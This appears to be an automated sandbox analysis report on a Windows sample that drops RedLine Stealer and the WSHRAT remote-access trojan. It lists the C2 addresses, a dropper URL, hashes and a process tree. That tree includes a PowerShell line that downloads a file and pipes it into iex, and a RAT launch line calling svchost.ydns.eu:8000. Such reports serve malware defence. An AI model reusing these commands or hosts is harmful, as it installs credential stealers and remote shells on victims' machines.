Analysis

  • max time kernel
    151s
  • max time network
    168s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/10/2022, 08:11

General

  • Target
    F82E5E6BA614031D24CB1460149E658EB3B4B9B0372DD.exe
  • Size 4.1MB
  • Sample221020-j29nwschan
  • SHA256 f82e5e6ba614031d24cb1460149e658eb3b4b9b0372dda40989ea413feae185c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

C2
  • 45.87.155.189:20856

Attributes
  • auth_value

    ac64e5ead391346e804f0d9ec2f18faa

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://files.catbox.moe/3pwn9k.jpg

Extracted

Family
  • wshrat

C2
  • http://svchost.ydns.eu:8000

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • Blocklisted process makes network request 7 IoCs
  • Executes dropped EXE 3 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Adds Run key to start application 2 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\F82E5E6BA614031D24CB1460149E658EB3B4B9B0372DD.exe
    "C:\Users\Admin\AppData\Local\Temp\F82E5E6BA614031D24CB1460149E658EB3B4B9B0372DD.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4912
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\EsetNod32.js"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1264
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3624
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /F /IM kl-plugin.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4668
      • C:\Users\Admin\AppData\Roaming\kl-plugin.exe
        "C:\Users\Admin\AppData\Roaming\kl-plugin.exe" svchost.ydns.eu 8000 "WSHRAT|94D95F5C|GBQHURCC|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 20/10/2022|JavaScript-v2.0|NL:Netherlands" 1
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:2376
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Roaming\Java Plataform.jar"
      2⤵
      • Drops file in Program Files directory
      PID:2716
    • C:\Users\Admin\AppData\Roaming\Scr.exe
      "C:\Users\Admin\AppData\Roaming\Scr.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -c cd $env:tmp;Invoke-WebRequest https://files.catbox.moe/9jfjbh.png -OutFile Error.png;gc Error.png | iex
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:100
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Scr.VBS"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4452
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\ProgramData\rrrrrrrr.ps1"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2120
    • C:\Users\Admin\AppData\Roaming\ONLYFANS CHECKER.exe
      "C:\Users\Admin\AppData\Roaming\ONLYFANS CHECKER.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
          PID:1568
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\User.vbs"
        2⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Adds Run key to start application
        PID:2760

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          rrrrrrrr.ps1

          • Path C:\ProgramData\rrrrrrrr.ps1
          • Size 437B
          • SHA256 8a92dfc83aa949a737624fb844dbcf0731b7cfa5bfb8e70a105f2a2b532cc06c
          • MD5 SHA1 SHA512

          EsetNod32.js

          • Path C:\Users\Admin\AppData\Roaming\EsetNod32.js
          • Size 712KB
          • SHA256 4cd6701682cc75c9581d720ff4f87db4bd1a4ec8bb6775bfe0fd2d66ebeb3465
          • MD5 SHA1 SHA512 SSDEEP

          Java Plataform.jar

          • Path C:\Users\Admin\AppData\Roaming\Java Plataform.jar
          • Size 92KB
          • SHA256 edc82523e7ff486f9b1ce56a27dfe724262578748a60fc94305cbc158db176c3
          • MD5 SHA1 SHA512 SSDEEP

          ONLYFANS CHECKER.exe

          • Path C:\Users\Admin\AppData\Roaming\ONLYFANS CHECKER.exe
          • Size 3.9MB
          • SHA256 76e957be45c916f66c7cbaad91a73b44639e21141baf5d958907925beb91129b
          • MD5 SHA1 SHA512 SSDEEP

          ONLYFANS CHECKER.exe

          • Path C:\Users\Admin\AppData\Roaming\ONLYFANS CHECKER.exe
          • Size 3.9MB
          • SHA256 76e957be45c916f66c7cbaad91a73b44639e21141baf5d958907925beb91129b
          • MD5 SHA1 SHA512 SSDEEP

          Scr.VBS

          • Path C:\Users\Admin\AppData\Roaming\Scr.VBS
          • Size 984B
          • SHA256 c581c944bf383522f361ed5695fbc9bf46476145e894c244a2fe830e8757a15f
          • MD5 SHA1 SHA512

          Scr.exe

          • Path C:\Users\Admin\AppData\Roaming\Scr.exe
          • Size 4KB
          • SHA256 06d48205d2491502fd82e050c880213a29039ee8c4dba7be9f84f19147d4ee66
          • MD5 SHA1 SHA512 SSDEEP

          Scr.exe

          • Path C:\Users\Admin\AppData\Roaming\Scr.exe
          • Size 4KB
          • SHA256 06d48205d2491502fd82e050c880213a29039ee8c4dba7be9f84f19147d4ee66
          • MD5 SHA1 SHA512 SSDEEP

          User.vbs

          • Path C:\Users\Admin\AppData\Roaming\User.vbs
          • Size 1.4MB
          • SHA256 64399996339c31666bfd04dcaa039e509954f019f55279e4512e16626e693d1b
          • MD5 SHA1 SHA512 SSDEEP

          kl-plugin.exe

          • Path C:\Users\Admin\AppData\Roaming\kl-plugin.exe
          • Size 25KB
          • SHA256 272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a
          • MD5 SHA1 SHA512 SSDEEP

          kl-plugin.exe

          • Path C:\Users\Admin\AppData\Roaming\kl-plugin.exe
          • Size 25KB
          • SHA256 272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a
          • MD5 SHA1 SHA512 SSDEEP

          memory/100-172-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

          memory/100-147-0x000001A226680000-0x000001A2266A2000-memory.dmp

          memory/100-194-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

          memory/100-151-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp

          memory/1568-192-0x00000000048F0000-0x000000000492C000-memory.dmp

          memory/1568-190-0x00000000049C0000-0x0000000004ACA000-memory.dmp

          memory/1568-188-0x0000000004E00000-0x0000000005418000-memory.dmp

          memory/1568-176-0x0000000000400000-0x0000000000420000-memory.dmp

          memory/1568-189-0x0000000004890000-0x00000000048A2000-memory.dmp

          memory/2120-198-0x0000000005C60000-0x0000000005C7A000-memory.dmp

          memory/2120-191-0x0000000005B60000-0x0000000005B7E000-memory.dmp

          memory/2120-197-0x00000000072A0000-0x000000000791A000-memory.dmp

          memory/2120-187-0x00000000054D0000-0x0000000005536000-memory.dmp

          memory/2120-182-0x0000000002220000-0x0000000002256000-memory.dmp

          memory/2120-183-0x0000000004C90000-0x00000000052B8000-memory.dmp

          memory/2120-185-0x00000000052C0000-0x00000000052E2000-memory.dmp

          memory/2120-186-0x0000000005460000-0x00000000054C6000-memory.dmp

          memory/2376-202-0x000000006C2A0000-0x000000006C851000-memory.dmp

          memory/2716-174-0x00000000032F0000-0x00000000042F0000-memory.dmp

          memory/2716-164-0x00000000032F0000-0x00000000042F0000-memory.dmp

          memory/4264-173-0x0000000000400000-0x0000000000A18000-memory.dmp

          memory/4264-153-0x0000000000400000-0x0000000000A18000-memory.dmp

          memory/4264-156-0x0000000000400000-0x0000000000A18000-memory.dmp

          memory/4264-181-0x0000000000400000-0x0000000000A18000-memory.dmp

          memory/4264-171-0x0000000002590000-0x00000000025F0000-memory.dmp

          memory/4264-166-0x0000000000400000-0x0000000000A18000-memory.dmp

          memory/4436-139-0x0000000000730000-0x0000000000738000-memory.dmp

          memory/4436-152-0x00007FFCC3EF0000-0x00007FFCC49B1000-memory.dmp